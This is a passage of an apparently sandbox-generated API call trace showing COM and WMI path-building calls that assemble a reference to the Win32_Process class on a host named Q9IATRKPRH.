dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.380] WbemDefPath:IUnknown:Release (This=0x11c9880) returned 0x3 [0057.380] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0057.380] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0057.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0057.380] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x2 [0057.380] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x1 [0057.380] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0057.380] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0057.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169e00) returned 0x0 [0057.380] WbemDefPath:IUnknown:AddRef (This=0x1169e00) returned 0x3 [0057.380] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x2 [0057.380] WbemDefPath:IWbemPath:SetText (This=0x1169e00, uMode=0x4, pszPath="") returned 0x0 [0057.380] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.380] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.380] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0057.380] IUnknown:Release (This=0x111f638) returned 0x1 [0057.382] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11c9840) returned 0x0 [0057.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c9840, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0057.383] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c9840, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169ec0) returned 0x0 [0057.383] WbemDefPath:IUnknown:Release (This=0x11c9840) returned 0x0 [0057.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169ec0) returned 0x0 [0057.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0057.383] WbemDefPath:IUnknown:AddRef (This=0x1169ec0) returned 0x3 [0057.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0057.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0057.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11c98c0) returned 0x0 [0057.383] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c98c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.383] WbemDefPath:IUnknown:Release (This=0x11c98c0) returned 0x3 [0057.383] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0057.383] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0057.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0057.384] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x2 [0057.384] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x1 [0057.384] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0057.384] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0057.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169ec0) returned 0x0 [0057.384] WbemDefPath:IUnknown:AddRef (This=0x1169ec0) returned 0x3 [0057.384] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x2 [0057.384] WbemDefPath:IWbemPath:SetText (This=0x1169ec0, uMode=0x4, pszPath="") returned 0x0 [0057.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169ec0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0057.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169e00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0057.384] WbemDefPath:IWbemPath:GetClassName (in: This=0x1169ec0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0057.384] WbemDefPath:IWbemPath:GetServer (in: This=0x1169ec0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0057.384] WbemDefPath:IWbemPath:SetServer (This=0x1169ec0, Name="Q9IATRKPRH") returned 0x0 [0057.384] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.384] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.384] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0057.384] IUnknown:Release (This=0x111f638) returned 0x1 [0057.386] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11c98e0) returned 0x0 [0057.386] WbemDefPath:IUnknown:QueryInterface (in: This=0x11c98e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0057.386] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11c98e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169f80) returned 0x0 [0057.386] WbemDefPath:IUnknown:Release (This=0x11c98e0) returned 0x0 [0057.386] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169f80) returned 0x0 [0057.386] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0057.387] WbemDefPath:IUnknown:AddRef (This=0x1169f80) returned 0x3 [0057.387] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0057.387] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0057.387] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11c9920) returned 0x0 [0057.387] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11c9920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.387] WbemDefPath:IUnknown:Release (This=0x11c9920) returned 0x3 [0057.387] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0057.387] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0057.387] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0057.387] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x2 [0057.387] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x1 [0057.387] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0057.387] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0057.387] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169f80, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169f80) returned 0x0 [0057.387] WbemDefPath:IUnknown:AddRef (This=0x1169f80) returned 0x3 [0057.387] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x2 [0057.387] WbemDefPath:IWbemPath:SetText (This=0x1169f80, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0057.387] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169ec0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169f80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0057.388] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1169ec0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169f80, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169f80, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169f80, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0057.388] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169ec0, uIndex=0x0, pszName="ROOT") returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169f80, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169f80, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0057.388] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169ec0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetClassName (in: This=0x1169ec0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0057.388] WbemDefPath:IWbemPath:SetClassName (This=0x1169ec0, Name="Win32_Process") returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169ec0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169ec0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169ec0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169ec0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0057.388] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0057.389] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0057.389] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0057.389] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0057.389] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0057.389] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0057.389] IUnknown:Release (This=0x111f638) returned 0x1 [0057.390] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11d4b50) returned 0x0 [0057.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4b50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0057.391] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4b50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x116a040) returned 0x0 [0057.391] WbemDefPath:IUnknown:Release (This=0x11d4b50) returned 0x0 [0057.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x116a040) returned 0x0 [0057.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a040, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0057.391] WbemDefPath:IUnknown:AddRef (This=0x116a040) returned 0x3 [0057.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a040, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0057.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a040, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0057.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a040, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11d4b90) returned 0x0 [0057.391] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4b90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.391] WbemDefPath:IUnknown:Release (This=0x11d4b90) returned 0x3 [0057.391] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0057.392] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0057.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a040, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0057.392] WbemDefPath:IUnknown:Release (This=0x116a040) returned 0x2 [0057.392] WbemDefPath:IUnknown:Release (This=0x116a040) returned 0x1 [0057.392] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0057.392] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0057.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a040, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x116a040) returned 0x0 [0057.392] WbemDefPath:IUnknown:AddRef (This=0x116a040) returned 0x3 [0057.392] WbemDefPath:IUnknown:Release (This=0x116a040) returned 0x2 [0057.392] WbemDefPath:IWbemPath:SetText (This=0x116a040, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0057.392] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.392] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0057.392] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=8, 